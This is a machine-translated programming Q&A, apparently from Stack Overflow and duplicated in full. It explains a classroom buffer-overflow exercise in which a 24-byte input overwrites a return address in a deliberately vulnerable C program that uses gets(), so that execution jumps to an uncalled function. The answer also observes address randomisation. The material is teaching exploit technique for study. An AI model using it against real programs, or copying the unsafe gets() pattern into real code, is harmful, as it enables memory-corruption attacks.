强制程序使用输入字符串调用 C 中的函数
Forcing a program to call a function in C with an input string
所以我正在做一个练习,我想通过输入一个缓冲区来调用函数 void not_called() 。基本上我想做的是使用缓冲区溢出来调用 not_called()。我通过使用二进制漏洞利用字符串然后使用程序 hex2raw 来解决这个问题(采用十六进制格式然后将其转换为十进制数字的 ASCII。)然后我将该二进制漏洞利用字符串放入 .txt 文件中,然后使用unix 终端中的一系列管道调用 not_called() 如下所示:
猫exploit.txt | ./hex2raw | ./nameofpgrm
所以我正在努力寻找二进制漏洞利用字符串。我认为我需要做的是在内存中找到使用 objdump 调用 not_called 的位置,但我不确定。对我能做什么有什么帮助吗?我知道我将不得不使用 gdb 来找到它。我只是真的不知道去哪里看。
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '[=10=]';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
您想用从标准输入读取的字节覆盖函数 echo 中的 return 地址,这样它现在指向 not_called
入口点。
让我们以 Mac OS/X 10.10 又名 Yosemite 为例。我简化了代码并添加了一个额外的 printf 来获取函数的实际地址 not_called
:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
让我们使用 clang 编译并执行这段代码:
chqrlie> clang t20.c && ./a.out
输出很清楚:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
使用十六进制编辑器,让我们输入输入并将其粘贴到控制台:短缓冲区 buf
以 64 位对齐,在保存的堆栈帧指针副本下方 8 个字节 rbp
, 本身后跟我们要覆盖的 return 地址。十六进制输入例如:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
让我们将这 24 个字节粘贴到控制台并按回车键:
0123456789012345P��^F^A^@^@^@
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
函数echo
使用gets读取stdin,超出buf
末尾的24个字节被存储,覆盖帧指针rbp
,return地址,和一个额外的 0 字节。 echo
然后调用puts
输出buf
中的字符串。正如预期的那样,输出在第一个“'\0'”处停止。 rbp
然后从堆栈中恢复并获得损坏的值,控制权转移到 return 地址。 return 地址被函数 not_called
的地址覆盖,因此这就是接下来要执行的内容。事实上,我们看到了来自函数 not_called
的消息,并且由于某种原因 exit
崩溃而不是正常退出进程。
我特意使用了gets
,以便读者了解使用此函数导致缓冲区溢出是多么容易。无论缓冲区有多大,都可以创造输入来使程序崩溃或让它做一些有趣的事情。
另一个有趣的发现是 Mac OS/X 如何试图防止攻击者过于轻易地使用这个技巧:程序打印的地址在每次执行时都不同:
chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
代码每次加载到不同的地址,随机选择。
使函数 echo
return 到 not_called
所需的输入每次都不同。试试你自己的 OS 并检查它是否使用了这个技巧。尝试创造适当的输入来完成工作(这取决于您的编译器和系统)。玩得开心!
所以我正在做一个练习,我想通过输入一个缓冲区来调用函数 void not_called() 。基本上我想做的是使用缓冲区溢出来调用 not_called()。我通过使用二进制漏洞利用字符串然后使用程序 hex2raw 来解决这个问题(采用十六进制格式然后将其转换为十进制数字的 ASCII。)然后我将该二进制漏洞利用字符串放入 .txt 文件中,然后使用unix 终端中的一系列管道调用 not_called() 如下所示:
猫exploit.txt | ./hex2raw | ./nameofpgrm
所以我正在努力寻找二进制漏洞利用字符串。我认为我需要做的是在内存中找到使用 objdump 调用 not_called 的位置,但我不确定。对我能做什么有什么帮助吗?我知道我将不得不使用 gdb 来找到它。我只是真的不知道去哪里看。
#include <stdlib.h>
#include <stdio.h>
void echo();
/* Main program */
int main() {
while (1)
echo();
return(0); // never called
} // main
/* My gets -- just like gets - Get a string from stdin */
char *mygets(char *dest) {
int c = getchar();
char *p = dest;
while (c != EOF && c != '\n') {
*p++ = c;
c = getchar();
}
*p = '[=10=]';
return dest;
} // mygets
/* Echo Line */
void echo() {
char buf[4]; /* Way too small */
mygets(buf);
puts(buf);
} // echo
void not_called() {
printf("This routine is never called\n");
printf("If you see this message, something bad has happend\n");
exit(0);
} // not_called
您想用从标准输入读取的字节覆盖函数 echo 中的 return 地址,这样它现在指向 not_called
入口点。
让我们以 Mac OS/X 10.10 又名 Yosemite 为例。我简化了代码并添加了一个额外的 printf 来获取函数的实际地址 not_called
:
#include <stdlib.h>
#include <stdio.h>
void echo(void) {
char buf[4]; /* Way too small */
gets(buf);
puts(buf);
}
void not_called(void) {
printf("This routine is never called\n");
printf("If you see this message, something bad has happened\n");
exit(0);
}
int main(void) {
printf("not_called is at address %p\n", not_called);
echo();
}
让我们使用 clang 编译并执行这段代码:
chqrlie> clang t20.c && ./a.out
输出很清楚:
not_called is at address 0x106dade50
warning: this program uses gets(), which is unsafe.
使用十六进制编辑器,让我们输入输入并将其粘贴到控制台:短缓冲区 buf
以 64 位对齐,在保存的堆栈帧指针副本下方 8 个字节 rbp
, 本身后跟我们要覆盖的 return 地址。十六进制输入例如:
0000 3031 3233 3435 3637-3839 3031 3233 3435 0123456789012345
0010 50de da06 0100 0000- P��.....
让我们将这 24 个字节粘贴到控制台并按回车键:
0123456789012345P��^F^A^@^@^@
0123456789012345P��^F^A
This routine is never called
If you see this message, something bad has happened
Segmentation fault: 11
函数echo
使用gets读取stdin,超出buf
末尾的24个字节被存储,覆盖帧指针rbp
,return地址,和一个额外的 0 字节。 echo
然后调用puts
输出buf
中的字符串。正如预期的那样,输出在第一个“'\0'”处停止。 rbp
然后从堆栈中恢复并获得损坏的值,控制权转移到 return 地址。 return 地址被函数 not_called
的地址覆盖,因此这就是接下来要执行的内容。事实上,我们看到了来自函数 not_called
的消息,并且由于某种原因 exit
崩溃而不是正常退出进程。
我特意使用了gets
,以便读者了解使用此函数导致缓冲区溢出是多么容易。无论缓冲区有多大,都可以创造输入来使程序崩溃或让它做一些有趣的事情。
另一个有趣的发现是 Mac OS/X 如何试图防止攻击者过于轻易地使用这个技巧:程序打印的地址在每次执行时都不同:
chqrlie > ./a.out < /dev/null
not_called is at address 0x101db8e50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x10af4ae50
warning: this program uses gets(), which is unsafe.
chqrlie > ./a.out < /dev/null
not_called is at address 0x102a46e50
warning: this program uses gets(), which is unsafe.
代码每次加载到不同的地址,随机选择。
使函数 echo
return 到 not_called
所需的输入每次都不同。试试你自己的 OS 并检查它是否使用了这个技巧。尝试创造适当的输入来完成工作(这取决于您的编译器和系统)。玩得开心!